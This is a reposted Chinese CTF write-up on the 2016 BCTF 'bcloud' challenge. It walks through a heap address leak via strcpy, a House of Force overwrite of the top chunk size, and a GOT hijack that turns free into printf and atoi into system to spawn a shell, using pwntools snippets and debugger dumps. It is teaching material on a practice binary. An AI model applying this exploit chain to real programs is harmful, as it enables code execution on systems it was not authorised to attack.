2016BCTF-bcloud分析

来源:互联网 发布:外贸薪资 知乎 编辑:程序博客网 时间:2024/06/05 19:43
这是一道CTF题,涉及到The House of Force技术
文件及writeup可以在http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html 下载,另外还有http://www.freebuf.com/news/topnews/100143.htmlhttps://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200等相关参考资料。

首先运行一下,看一下大致流程,
root@yang-virtual-machine:~/ctf# ./bcloudInput your name:123Hey 123! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!Now let's set synchronization options.Org:qweHost:asdOKay! Enjoy:)1.New note2.Show note3.Edit note4.Delete note5.Syn6.Quitoption--->>1Input the length of the note content:ssssssssssssssssssInput the content:Create success, the id is 01.New note2.Show note3.Edit note4.Delete note5.Syn6.Quitoption--->>



然后放到IDA中静态分析一下,为了提高可读性,对一些变量进行了重命名。


首先分析一下input_name函数的伪代码:
int input_name(){  char s; // [sp+1Ch] [bp-5Ch]@1  int heap_of_name; // [sp+5Ch] [bp-1Ch]@1  int v3; // [sp+6Ch] [bp-Ch]@1  v3 = *MK_FP(__GS__, 20);  memset(&s, 0, 0x50u);  puts("Input your name:");  read_user_define((int)&s, 64, 10);  heap_of_name = (int)malloc(0x40u);  dword_804B0CC = heap_of_name;  strcpy((char *)heap_of_name, &s);  print_info(heap_of_name);  return *MK_FP(__GS__, 20) ^ v3;}


我们输入name时,保存到s处,也就是bp-5c处,大小为0x40,在bp-1c处保存了一个指针,指向堆内存,然后通过strcpy函数将s中的数据复制到heap_of_name指向的内存区域。这里就有问题了 s和heap_of_name正好相距0x40 strcpy结束的标志是遇到null。看一下此时的内存布局:

如果此时输入的name正好是0x40,namestrcpy时,因为name后边不是null,而是heap_of_name,所以会将heap_of_name一块复制到heap_of_name指向的内存区域,然后调用printf的时候会将堆的地址(heap_of_name)一块打印出来。
利用exp如下:
r.send("A" * 0x3c + "ZZZZ")garbage = r.recvuntil("ZZZZ")leak = u32(r.recv(4))garbage = r.recv()log.info("Leak: " + hex(leak))


下边就是输入组织与主机名的函数了:
int input_Org_and_Host(){  char Org_buffer; // [sp+1Ch] [bp-9Ch]@1  char *Ptr_heap_of_Org; // [sp+5Ch] [bp-5Ch]@1  char Host_buffer; // [sp+60h] [bp-58h]@1  char *ptr_heap_of_Host; // [sp+A4h] [bp-14h]@1  int cookie; // [sp+ACh] [bp-Ch]@1  cookie = *MK_FP(__GS__, 20);  memset(&Org_buffer, 0, 0x90u);  puts("Org:");  read_user_define((int)&Org_buffer, 64, 10);  puts("Host:");  read_user_define((int)&Host_buffer, 64, 10);  ptr_heap_of_Host = (char *)malloc(0x40u);  Ptr_heap_of_Org = (char *)malloc(0x40u);  dword_804B0C8 = (int)Ptr_heap_of_Org;  dword_804B148 = (int)ptr_heap_of_Host;  strcpy(ptr_heap_of_Host, &Host_buffer);  strcpy(Ptr_heap_of_Org, &Org_buffer);  puts("OKay! Enjoy:)");  return *MK_FP(__GS__, 20) ^ cookie;}


内存布局还是差不多,如下所示:

问题跟上边差不多
这样我们往org中传入64个字节,往Host中传入\xff\xff\xff\xff,当将org拷入*arg指向的堆时,就会将org+*org+Host一块考入,覆盖了后边的top chunk大小,导致top chunk无限大。
这部分exp如下:
HOST = "B" * 0x40wilderness = "\xff\xff\xff\xff"r.send(HOST)r.sendline(wilderness)garbage = r.recv()




下一步就是将堆分配到.bss段之前,以使再次分配堆时分配到bss上。
root@yang-virtual-machine:~/ctf# readelf -S bcloud | grep bss  [25] .bss              NOBITS          0804b060 002048 0000ec 00  WA  0   0 32root@yang-virtual-machine:~/ctf# 
可以看到bss段的起始地址是:0x0804b060

int create_note(){  int result; // eax@6  signed int i; // [sp+18h] [bp-10h]@1  int len_note; // [sp+1Ch] [bp-Ch]@7  for ( i = 0; i <= 9 && heap[i]; ++i )    ;  if ( i == 10 )  {    result = puts("Lack of space. Upgrade your account with just $100 :)");  }  else  {    puts("Input the length of the note content:");    len_note = read_to_int();    heap[i] = (int)malloc(len_note + 4);    if ( !heap[i] )      exit(-1);    length_of_note_content[i] = len_note;    puts("Input the content:");    read_user_define(heap[i], len_note, 10);    printf("Create success, the id is %d\n", i);    result = i;    dword_804B0E0[i] = 0;  }  return result;}

利用exp如下:
size = (0xffffffff - leak - 224) + bss - 4log.info("Size: " + hex(size))size = (0xffffffff ^ size) + 1r.sendline("-" + str(size))
此处bss= length_of_note_content
224指的是创建了三个堆0x48*3加上此处创建堆的堆首及对齐共8字节
加上在bss上创建堆的堆首4字节(有疑问 需要调试确定

通过IDA静态分析可以看到length_of_note_content位于地址.bss:0804B0A0处
heap位于地址.bss:0804B120处

这样我们下次创建note时,数据正好写在以length_of_note_content为起始地址的堆地址处。

利用代码如下:
atoi = 0x804b03cfree = 0x804b014r.sendline('1')r.sendline('172')# Plan - step 3: Fill out the lengths[] and notes[] arrays# with pre-defined values of sizes and GOT addressespayload = p32(4)payload += p32(4)payload += p32(4)payload += p32(0) * 29payload += p32(atoi)payload += p32(free)payload += p32(atoi)payload += p32(0) * 8r.send(payload)



内存应该是这样的 :
heap[1]=0x0804B120+4保存的是堆的起始地址。
gdb-peda$ x/10x 0x804b1200x804b120:0x0804c0e00x0804b0a00x000000000x000000000x804b130:0x000000000x000000000x000000000x000000000x804b140:0x000000000x00000000



然后将用户输入的content复制0x0804b0a0处。
gdb-peda$ x/100x 0x0804b0a00x804b0a0:0x000000040x000000040x000000040x000000000x804b0b0:0x000000000x000000000x000000000x000000000x804b0c0:0x000000000x000000000x000000000x000000000x804b0d0:0x000000000x000000000x000000000x000000000x804b0e0:0x000000000x000000000x000000000x000000000x804b0f0:0x000000000x000000000x000000000x000000000x804b100:0x000000000x000000000x000000000x000000000x804b110:0x000000000x000000000x000000000x000000000x804b120:0x0804b03c0x0804b0140x0804b03c0x000000000x804b130:0x000000000x000000000x000000000x000000000x804b140:0x000000000x000000000x000000000x00000000



可以看到经过复制后0x804b124处被0x0804b014替换。0x0804b014就是free@got


下一步就是利用edit_note函数将free函数地址改写为printf地址。
printf = 0x80484d0r.sendline('3')r.sendline('1')r.send(p32(printf))garbage = r.recv()
此处改写地址0x0804b014
这样就将free@got替换为ptintf@got.

所以当我们调用delete_note时:
int delete_note(){  int result; // eax@3  int v1; // [sp+18h] [bp-10h]@1  void *ptr_to_heap; // [sp+1Ch] [bp-Ch]@4  puts("Input the id:");  v1 = read_to_int();  if ( v1 >= 0 && v1 <= 9 )  {    ptr_to_heap = (void *)heap[v1];    if ( ptr_to_heap )    {      heap[v1] = 0;      length_of_note_content[v1] = 0;      free(ptr_to_heap);      result = puts("Delete success.");    }    else    {      result = puts("Note has been deleted.");    }  }  else  {    result = puts("Invalid ID.");  }  return result;}



其中调用了free函数,也就调用了我们替换的printf函数。正好将ptr_to_heap打印出来,这个地方ptr_to_heap正好是我们布置的atoi函数的地址。

r.sendline('4')r.sendline('0')garbage = r.recvuntil("Input the id:\n")garbage = r.recvuntil("Input the id:\n", timeout=1)atoi = u32(r.recv(4))log.info("Atoi: " + hex(atoi))garbage = r.recv()



既然已经知道了函数atoi的地址,通过偏移就可以计算出system函数的地址了。

然后我们编辑id=2的note,因为id=2已经被我们布置为atoi的地址,我们发送system的地址,将atoi地址替换为为函数system地址,然后在发送/bin/sh,就获得了一个shell。

完整shell请见附表链接。

参考资料:
http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html 
http://www.freebuf.com/news/topnews/100143.html
https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200